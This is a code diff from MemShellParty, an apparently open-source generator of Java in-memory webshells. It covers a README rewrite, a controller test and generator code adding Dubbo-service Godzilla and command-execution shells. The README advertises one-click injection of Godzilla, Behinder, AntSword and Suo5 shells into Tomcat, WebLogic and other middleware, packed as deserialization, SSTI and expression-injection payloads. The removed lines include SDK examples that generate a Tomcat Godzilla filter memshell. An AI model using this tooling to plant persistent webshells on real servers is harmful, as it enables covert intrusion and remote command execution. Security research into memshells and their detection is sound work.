import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.client.TestRestTemplate; import org.springframework.boot.test.web.server.LocalServerPort;
import org.springframework.http.HttpStatus; import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestClient;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNotNull;
@@ -25,8 +26,17 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT) @SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class MemShellGeneratorControllerTest { class MemShellGeneratorControllerTest {
@Autowired @LocalServerPort
TestRestTemplate restTemplate; private int port;
private RestClient restClient;
@BeforeEach
void setUp() {
restClient = RestClient.builder()
.baseUrl("http://localhost:" + port)
.build();
}
@Test @Test
void generateShell() { void generateShell() {
@@ -50,9 +60,12 @@ class MemShellGeneratorControllerTest {
shellToolConfigDTO.setHeaderName("User-Agent"); shellToolConfigDTO.setHeaderName("User-Agent");
shellToolConfigDTO.setHeaderValue("hello"); shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO); request.setShellToolConfig(shellToolConfigDTO);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity( ResponseEntity<MemShellGenerateResponse> response = restClient.post()
"/api/memshell/generate", request, MemShellGenerateResponse.class); .uri("/api/memshell/generate")
.body(request)
.retrieve()
.toEntity(MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
} }
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
} }
} }
version = "2.6.1" version = "2.8.0"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
+34 -332
View File
@@ -1,11 +1,6 @@
<h1 align="center">MemShellParty</h1> <h1 align="center">MemShellParty</h1>
<p align="center">English | <a href="../README.md">中文</a><br></p> <p align="center"><a href="../README.md">中文</a> | English<br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
</div>
<div align="center"> <div align="center">
@@ -17,49 +12,54 @@
<div align="center"> <div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell) [![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news) [![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk)
</div> </div>
> [!WARNING] > [!WARNING]
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences. > This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility.
> [!TIP] > [!TIP]
> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together! > Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together.
MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together! MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency.
What you can learn or try from this project: <p align="center">
<img src="../assets/normal_memshell.png" alt="normal_memshell" width="24%">
1. Learn to write java memshell for common middleware and frameworks. <img src="../assets/agent_memshell.png" alt="agent_memshell" width="24%">
2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing. <img src="../assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI. <img src="../assets/about_page.png" alt="about_page" width="24%">
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents. </p>
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
![normal_generator](../assets/normal_generator.png)
![agent_generator](../assets/agent_generator.png)
## Key Features ## Key Features
- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously. - **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time.
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml) - **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21.
- Minimal Size: Strives to minimize memshell size for efficient transfer. - **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use.
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios. - **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM.
- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads.
- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs.
## Quick Start ## Quick Start
### Online Preview ### Read Before Use
> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised. [Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications.
Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release. The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish.
### Online Site
> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors.
You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release.
For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk).
### Local Deployment (Recommended) ### Local Deployment (Recommended)
> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient. > Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient.
After deploying with Docker, access the service at http://127.0.0.1:8080 After deploying with Docker, access http://127.0.0.1:8080
```bash ```bash
# Pull the latest image from Docker Hub # Pull the latest image from Docker Hub
@@ -68,312 +68,14 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
# Pull the latest image from Github Container Registry # Pull the latest image from Github Container Registry
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
# If network quality is poor, use the Nanjing University Github Container Registry mirror # Poor network quality? Use the Nanjing University Github Container Registry mirror
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
``` ```
The image is stateless. To update to the latest version, simply remove the old container and create a new one: ## Special Thanks
```bash
# Remove the previously deployed container
docker rm -f memshell-party
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
### SDK Integration into Existing Tools
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
1. Add the dependency using Maven or Gradle:
```xml
<!-- Maven Repo-->
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.7.0</version>
</dependency>
```
```groovy
// Gradle Repo
implementation 'io.github.reajason:generator:1.7.0'
```
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // Shrink bytecode size
.debug(false) // Disable debug mode
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // Custom urlPattern, defaults to /*
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("Injector Class Name: "+result.getInjectorClassName());
System.out.println("MemShell Class Name: "+result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
```
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // Shrink bytecode size
.debug(false) // Disable debug mode
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // Custom urlPattern, defaults to /*
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("Injector Class Name: " + result.getInjectorClassName());
System.out.println("MemShell Class Name: " + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
```
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
## Compatibility
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
### Middleware and Frameworks
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 8 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
| Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 ~ 10 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
### MemShell Functionality
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder](https://github.com/rebeyond/Behinder)
- [x] Command Execution
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### Packaging Methods
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] Built-in ScriptEngine, Rhino ScriptEngine
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] Native DeserializationCB and CC
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
- [ ] JNDI
- [ ] JDBC Connection
- [ ] Other common deserialization
## Local Build
### Building from Source Code
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
1. Clone the project using Git:
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
```bash
cd MemShellParty/web
bun install
bun run build
```
3. Build the backend project. Ensure you are using a JDK 17 environment.
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
```bash
cd MemShellParty/boot
java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
```
Alternatively, you can build a Docker container from the built artifacts:
```bash
cd MemShellParty/boot
docker buildx build -t memshell-party:latest . --load
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```
### Building with Dockerfile Directly
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
Download the [Dockerfile](../Dockerfile) from the project root.
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
```bash
# Basic build (defaults to root path "/")
docker buildx build \
--build-arg VERSION=1.7.0 \
-t memshell-party:latest . --load
# Run the basic image, access at http://127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest
# Build with custom access path (e.g., /memshell-party)
docker buildx build \
--build-arg VERSION=1.7.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
memshell-party:latest
```
If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
Ensure that the `location /memshell-party``ROUTE_ROOT_PATH=/memshell-party``CONTEXT_PATH=/memshell-party` and
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
```text
location /memshell-party {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-By $server_addr:$server_port;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_http_version 1.1;
proxy_connect_timeout 3s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffer_size 16k;
proxy_buffers 8 64k;
proxy_busy_buffers_size 128k;
}
```
## Contribute
> Any feedback or issue discussion you provide is a contribution to this project.
> It will be so nice if you want to contribute. 🎉
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
2. If you are skilled in writing memory shells, try adding support for a new type or target.
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
## Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator) - [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
### Let's start the party 🎉 ### Let's start the party 🎉
+3
View File
@@ -37,7 +37,10 @@ dependencies {
implementation(libs.jakarta.servlet.api) implementation(libs.jakarta.servlet.api)
implementation(libs.spring.webmvc) implementation(libs.spring.webmvc)
implementation(libs.spring.webflux) implementation(libs.spring.webflux)
implementation(libs.tomcat.embed.core)
implementation(libs.reactor.netty.core) implementation(libs.reactor.netty.core)
implementation(libs.alibaba.dubbo)
implementation(libs.apache.dubbo)
implementation(libs.jackson.annotations) implementation(libs.jackson.annotations)
implementation(libs.bundles.jna) implementation(libs.bundles.jna)
@@ -20,5 +20,6 @@ public class Server {
public static final String SpringWebMvc = "SpringWebMvc"; public static final String SpringWebMvc = "SpringWebMvc";
public static final String SpringWebFlux = "SpringWebFlux"; public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB"; public static final String XXLJOB = "XXLJOB";
public static final String Struct2 = "Struct2"; public static final String Struts2 = "Struts2";
public static final String Dubbo = "Dubbo";
} }
@@ -1,9 +1,11 @@
package com.reajason.javaweb.memshell; package com.reajason.javaweb.memshell;
import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassInterfaceUtils;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator; import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator; import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
@@ -15,6 +17,7 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.Strings;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.Map; import java.util.Map;
@@ -60,20 +63,36 @@ public class MemShellGenerator {
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass); if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes); String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
String interfaceName = packageName + ".I" + simpleName;
injectorConfig.setInjectorHelperClassName(interfaceName);
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
String urlPattern = injectorConfig.getUrlPattern();
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|| StringUtils.isBlank(urlPattern)) {
injectorConfig.setUrlPattern(interfaceName);
}
}
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType()) if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) { || ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig)); String helperClassName = shellToolConfig.getShellClassName() + "$1";
injectorConfig.setInjectorHelperClassName(helperClassName);
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
} }
injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes);
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate(); byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) { if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
ProbeConfig probeConfig = ProbeConfig.builder() ProbeConfig probeConfig = ProbeConfig.builder()
.shellClassName(injectorConfig.getInjectorClassName() + "1") .shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
.probeMethod(ProbeMethod.ResponseBody) .probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode) .probeContent(ProbeContent.Bytecode)
.targetJreVersion(shellConfig.getTargetJreVersion()) .targetJreVersion(shellConfig.getTargetJreVersion())
@@ -46,7 +46,8 @@ public class ServerFactory {
register(Server.SpringWebMvc, SpringWebMvc::new); register(Server.SpringWebMvc, SpringWebMvc::new);
register(Server.SpringWebFlux, SpringWebFlux::new); register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new); register(Server.XXLJOB, XxlJob::new);
register(Server.Struct2, Struct2::new); register(Server.Struts2, Struts2::new);
register(Server.Dubbo, Dubbo::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder() addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class) .addShellClass(SERVLET, GodzillaServlet.class)
@@ -81,7 +82,9 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
.addShellClass(ACTION, GodzillaStruct2Action.class) .addShellClass(ACTION, GodzillaStruts2Action.class)
.addShellClass(ALIBABA_DUBBO_SERVICE, GodzillaDubboService.class)
.addShellClass(APACHE_DUBBO_SERVICE, GodzillaDubboService.class)
.build()); .build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder() addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -106,7 +109,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
.addShellClass(ACTION, BehinderStruct2Action.class) .addShellClass(ACTION, BehinderStruts2Action.class)
.build()); .build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder() addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -124,7 +127,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
.addShellClass(ACTION, AntSwordStruct2Action.class) .addShellClass(ACTION, AntSwordStruts2Action.class)
.build()); .build());
addToolMapping(ShellTool.Command, ToolMapping.builder() addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -161,7 +164,9 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruct2Action.class) .addShellClass(ACTION, CommandStruts2Action.class)
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
.build()); .build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder() addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -187,7 +192,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
.addShellClass(ACTION, Suo5Struct2Action.class) .addShellClass(ACTION, Suo5Struts2Action.class)
.build()); .build());
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder() addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
@@ -212,7 +217,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
.addShellClass(ACTION, Suo5v2Struct2Action.class) .addShellClass(ACTION, Suo5v2Struts2Action.class)
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class) .addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
.build()); .build());
@@ -238,7 +243,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
